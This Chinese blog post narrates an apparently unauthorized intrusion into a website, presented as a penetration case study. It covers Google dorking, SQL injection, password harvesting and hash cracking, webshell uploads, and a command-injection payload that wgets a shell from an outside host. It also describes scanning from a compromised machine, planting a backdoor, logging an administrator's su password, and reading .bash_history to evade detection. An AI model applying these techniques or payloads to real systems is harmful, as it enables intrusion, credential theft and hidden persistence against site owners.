WEB渗透检测纪实(一)
(一) 踩点
1 目标www.xxx.com,一般信息搜集我都会先google,至于怎么搜索网上说的很 详细了。其实google的作用还是很大的!看我的常用搜索方法:site:.xxx.com error 这个能爆出很多错误信息,比如路径,某个页
面的包含路径不存在,mysql错误信息。
图1
![图片[1]-WEB Penetration Testing Real Case Study - Part 1](https://www.77169.net/wp-content/uploads/2017/05/1305101215ef6def02feb8fb43.jpg)
2 又或者 site:.xxx.com download等等。
其中搜索出来的报错信息是 xxx.xxx.com/commom/xxxx.php?….然后我继续site:.xxx.com inurl:xxxx.php
或者site:.xxx.com inurl:commom 等等看情况而定,灵活运用google很重要.在这里对目标进行搜索中,发现二级域名和主站在一个ip上。扫描主站和二级域名目录出现404页面,无法扫描目录。url地址栏中输入单
引号时,被防火墙拦截。
当用site:.xxx.com inurl:commom时出现
图2
![图片[2]-WEB Penetration Testing Real Case Study - Part 1](https://www.77169.net/wp-content/uploads/2017/05/1305101220dc872dc99bf57d87.jpg)
此时找到了某个二级域名
http://xxxx.xxx.com/common/xxxxx … 0000/xxxxx/xxxx.pdf
吐槽1:其实搜索很重要。特别是对于目标比较大时。而且不要放过任何有价值的东西,比如二级域名相似代码,相同页面报错等等。也许你此时觉得没用,但是当你在进一步渗透过程中,所显示的作用就不一般了。
(二)信息收集
打开看之后是登录界面。尝试输入万能密码。其中 输入’or’=’or’时报错。心想这里要么就是注入,要么就可以构造语句直接登录。
图3
![图片[3]-WEB Penetration Testing Real Case Study - Part 1](https://www.77169.net/wp-content/uploads/2017/05/1305101220cf60dacdfc38b1cc.jpg)
还是oracle数据库,尝试各种方法都没有成功,然而此时扫描其目录,发现此二级域名没有防火墙。一根烟的时间,扫描的结果还是令人兴奋。
图4
![图片[4]-WEB Penetration Testing Real Case Study - Part 1](https://www.77169.net/wp-content/uploads/2017/05/1305101220f6d84f2e9ccde83b.jpg)
第一个想到的是fckeditor,当看到版本是2.6时,希望渺然。
图5
![图片[5]-WEB Penetration Testing Real Case Study - Part 1](https://www.77169.net/wp-content/uploads/2017/05/13051012201ac5587e55ac0f14.jpg)
而且fckeditor不完整,某些页面删除了。Fckeditor此路不通。得到phpinfo文件。
图6
![图片[6]-WEB Penetration Testing Real Case Study - Part 1](https://www.77169.net/wp-content/uploads/2017/05/1305101220cafebb959c61ab52.jpg)
内核版本好低,而且网上有2.6.9的通杀exp!
打开扫描到的各种信息,其中某些文件里头有各种数据库密码
图7
![图片[7]-WEB Penetration Testing Real Case Study - Part 1](https://www.77169.net/wp-content/uploads/2017/05/13051012203c83a10269dff500.jpg)
图8
![图片[8]-WEB Penetration Testing Real Case Study - Part 1](https://www.77169.net/wp-content/uploads/2017/05/1305101220765eaac8e61670c4.jpg)
收集各种密码,各种ip 。
吐槽2:每个人的信息收集方式都不同,我就喜欢针对账号密码放入一个文件里面,没有思路时候就看看账号和密码。也是某个站点。已经下载了几台etc目录的备份文件,shadow中的密码破解不了,手里有一个root密码 是 xxxxxx44,在一个不起眼的文件里面,发现了一个密码是xxxxxx11,此时我生成xxxxxx1-100的字典,整理各个shadow文件中roothash 放入john 加载字典,直接跑出来了几个root密码。然后,然后就没有了。
(三)按部就班
此时想到的集中思路:
A,.页面内存在upload文件,看是否能上传文件。
B.找注入点,对每个页面进行访问,手工判断,工程量挺大,需要耐心。
C.收集到的ftp密码,数据库信息尝试远程连接。
同步工作也在进行,在肉鸡上对主站c段进行扫描,得到的结果只有80 443,唯一的是这个ip开放了21 3306
图9
![图片[9]-WEB Penetration Testing Real Case Study - Part 1](https://www.77169.net/wp-content/uploads/2017/05/130510122058eefd0fc25c0db6.jpg)
从目录扫描结果中得到的信息,尝试每个upload文件,上传都没有成功,要么就是出错,要么就是上传后没啥反应,路径找不到。A 思路到此没结果。
在对页面信息查找时,发现一个mysql注入点,而且是root权限,心想导出shell应该不成问题了。
图10
![图片[10]-WEB Penetration Testing Real Case Study - Part 1](https://www.77169.net/wp-content/uploads/2017/05/1305101220eaaea47ceaf8f1cc.jpg)
导出到网站目录时,其中网站目录测试了好几个比如图片目录等等都出现
图11
![图片[11]-WEB Penetration Testing Real Case Study - Part 1](https://www.77169.net/wp-content/uploads/2017/05/1305101220cb118df06bd4c5ab.jpg)
而在tmp目录时却成功了。
网站目录下的文件也没办法读取,只能读取系统配置文件passwd httpd.conf hosts 悲剧啊。B思路也不行了。
继续看收集到的各种数据库密码ftp密码,此时注意到某个ip
图12
![图片[12]-WEB Penetration Testing Real Case Study - Part 1](https://www.77169.net/wp-content/uploads/2017/05/130510122023c24c45dd48e040.jpg)
此ip不就是开放了21 和3306的ip嘛,当时查看扫描c段的结果是就注意到这个ip了,然而在收集信息密码过程中就非常熟悉。
直接远程连接。
图13
![图片[13]-WEB Penetration Testing Real Case Study - Part 1](https://www.77169.net/wp-content/uploads/2017/05/13051012226d832008376092dc.jpg)
成功连接并且可以查看到mysql user表读取到了 root hash值
图14
![图片[14]-WEB Penetration Testing Real Case Study - Part 1](https://www.77169.net/wp-content/uploads/2017/05/13051012222dd9103336bf542a.jpg)
Root用户不能远程连接但当看到commom权限和root权限是一样时,心里笑了。
对此拿commom hash值去cmd5下破解 成功得到了密码
其中走了一步弯路,那个时候并没有去破解密码,而是用mysql的hash连接exp连接,并读取文件
图15
![图片[15]-WEB Penetration Testing Real Case Study - Part 1](https://www.77169.net/wp-content/uploads/2017/05/1305101222ebdf0f1d55f627dc.jpg)
这个对 common密码破解不了的时候可以用!
后来直接用菜刀远程连接,读取文件,并且此ip上和我在扫描暴力扫描的二级域名上也有对应
图16
![图片[16]-WEB Penetration Testing Real Case Study - Part 1](https://www.77169.net/wp-content/uploads/2017/05/130510122233c9d673577b9de5.jpg)
手工去判断了跟目录是否存在phpinfo文件,输入与上个phpinfo文件一样的文件名时
图17
![图片[17]-WEB Penetration Testing Real Case Study - Part 1](https://www.77169.net/wp-content/uploads/2017/05/13051012230e356ed6773479e3.jpg)
此时找到了网站路径,菜刀连接数据库 读取文件
Select load_file(‘/xxx/xxx/xxx/xx/i.php’)
时成功读取到了文件内容,看来这个root权限比上个root注入点权限大。同样方法导出shell,此时找到了几个图片路径,并且成功导出shell!不过遇到了防火墙。菜刀不能连接。
国外防火墙也封掉菜刀了?用lanker的一句话客户端,成功连接并且wget shell到网站目录下
至此成功拿到了一个shell!
吐槽3:端口扫描在渗透中是必不可少。相同的phpinfo文件名这些都是在渗透中特别注意的,因为管理员都有这个通病,在vi文件时候总喜欢用相同的文件。
某次拿到root权限,不管怎么留shell都被发现,后来查看.bash_history文件发现了管理查找后门的语句,至此留的shell没被发现。所以说摸清管理员的操作习惯也很重要!哪怕是一点点。
(四) 乘胜追击
目前我已经将shell删除,而且还封掉了我ip,这里就只能描述了,没有过多的图片。
A.274的内核,提权基本不可能,在shell里面翻,其实翻东西主要是看你细心和耐心,以及敏感地抓取到有用的信息。
B.在274内核机器上存在backup账号 backup目录 看来是备份文件 ,在该目录下有网站代码的备份文件,更重要的是有2.6.9内核机器上的源码!
这里我尝试过的方法有:
A,查看netstat-an 时有1521端口连接 找到oracle数据库密码连接 ,看是否可以通过创建包来执行命令,拿更多的机器权限。然后再这里连接oracle数据库之后,在创建包的过程中总是出现内存分配失败。版本很低8i的!
B,下载2.6.9内核机器源码备份文件,
其中读取到某个upload文件时
Add.php
图18
![图片[18]-WEB Penetration Testing Real Case Study - Part 1](https://www.77169.net/wp-content/uploads/2017/05/130510122336f8b7656469ba41.jpg)
dell.php
图19
![图片[19]-WEB Penetration Testing Real Case Study - Part 1](https://www.77169.net/wp-content/uploads/2017/05/13051012234ed1704dd7ddfda3.jpg)
上传文件并保存,del.php 文件中ref_seq参数没有过滤直接post注入,add.php文件上没有任何判断,而且将路径写入了数据库里面,上传文件后缀为
$org_name = $file_name.”.”.$file_key; 此时可以用解析漏洞。直接利用网站的上传文件没有上传成功,本地构造上传几次之后。
在注入查看upfile_main表时是否有文件生成。利用sqlmap post注入
图20
![图片[20]-WEB Penetration Testing Real Case Study - Part 1](https://www.77169.net/wp-content/uploads/2017/05/13051012235b076edd19e92a76.jpg)
图21
![图片[21]-WEB Penetration Testing Real Case Study - Part 1](https://www.77169.net/wp-content/uploads/2017/05/130510122328c441af667de9ba.jpg)
图22
![图片[22]-WEB Penetration Testing Real Case Study - Part 1](https://www.77169.net/wp-content/uploads/2017/05/13051012236eef67137cb57ebf.jpg)
至此找到了路径shell。访问成功拿到shell
图23
![图片[23]-WEB Penetration Testing Real Case Study - Part 1](https://www.77169.net/wp-content/uploads/2017/05/13051012239c1433562e2ac597.jpg)
吐槽4:oracle在内网中渗透很多人都忽略了。所以尝试1000次哪怕你有一次成功了,就ok!
图24
![图片[24]-WEB Penetration Testing Real Case Study - Part 1](https://www.77169.net/wp-content/uploads/2017/05/1305101223b2b2302fa1987e3b.jpg)
(五) 直捣黄龙
反弹,提权成功拿到root权限,读取shadow root密码破解不了,种植后门,记录管理员su密码。
至此已经拿到了两个shell,一个在c段一个没有。其中在274内核机器上有主站源码,打包回来,搜索cmd exec是居然发现
图25
![图片[25]-WEB Penetration Testing Real Case Study - Part 1](https://www.77169.net/wp-content/uploads/2017/05/13051012234c9c4d335c9a045f.jpg)
可以执行任意命令,在本地测试,xxx.php?move_file=as.php|echo ss>.sss.txt
Xxxx.php?move_file=as.php |wget http://xx.com/ss.rar -O /var/tmp/s.php都成功了,然而在目标上没有成功,蛋疼一地啊!
然而在某个时刻,查看netstat -an时眼睛一亮,发现有连接目标的21端口。
Namp 目标发现开了 3306 21 80 443
继续在2.6.9上面翻文件,功夫不负有心人,成功找到了ftp账号和密码! 连接目标的ftp
其中连接ftp后不能ls
26.jpg
![图片[26]-WEB Penetration Testing Real Case Study - Part 1](https://www.77169.net/wp-content/uploads/2017/05/130510122854153106a3b22d30.png)
27.jpg
![图片[27]-WEB Penetration Testing Real Case Study - Part 1](https://www.77169.net/wp-content/uploads/2017/05/130510122818de3e5b1fdd0df6.png)
通过 passive 开启和关闭 PASV模式, 应该是iptables的原因。至此成功ls目录。至此成功连接,put shell!
吐槽5:总的来说这次渗透,感觉还是有趣的,从A–>B–>A–>目标。有时候本地测试非常重要,你要确保每一步都能成功,不成功被发现的可能就增大,而且失去了机会。
最喜欢的一句话。就算你赚得了全世界,失去了自己,又有神马意义!
求妞!!!!!!!!!严重缺妞!!!!!!!
刚开始我发tools 时总是上传图片不成功。今天咋就好了。
地下0day:












暂无评论内容